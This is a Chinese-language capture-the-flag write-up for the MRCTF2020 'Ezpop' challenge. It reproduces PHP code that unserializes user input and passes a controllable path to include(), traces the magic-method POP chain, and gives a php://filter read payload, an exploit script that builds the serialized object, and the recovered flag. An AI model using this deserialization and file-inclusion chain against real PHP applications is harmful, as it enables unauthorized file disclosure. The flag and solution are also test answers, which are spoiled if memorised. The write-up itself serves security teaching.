MRCTF2020-Ezpop

[MRCTF2020]Ezpop

题目：

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
    }

提示在flag.php，应该是利用include进行读取，构造pop链：

class Show：wakeup、toString

class Test：get

class Modifier：invoke、include

可以看出来，Show类应当是入口：

public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }

在对source过滤是是一种字符串操作，这里可以跳到toString方法中

而toString明显调用了一个属性值，get到不存在的属性，进入Test：

public function __get($key){
        $function = $this->p;
        return $function();
    }

函数形式调用方法，invoke：

protected  $var;
public function append($value){
    include($value);
}
public function __invoke(){
    $this->append($this->var);
}

利用方法是很明显的，我们只需要控制$var为我们想要的就可以进行包含任意读取

另，注意这里是私有保护变量，要传一个url加密的序列化字符串保证正确的解析

Help Me Find FLAG!

估计是藏起来了，上伪协议

php://filter/read=convert.base64-encode/resource=flag.php

<?php
class Flag{
    private $flag= "flag{81ade5a5-3fc1-455b-bec8-5adbc83dfd1b}";
}
echo "Help Me Find FLAG!";
?>

exp：

$m = new Modifier();
$t = new Test();
$s = new Show();
$ss=new Show();
$s->source=$ss;
$s->source->str=$t;
$s->source->str->p=new Modifier();
$k = serialize($s);
echo urlencode($k);

……ok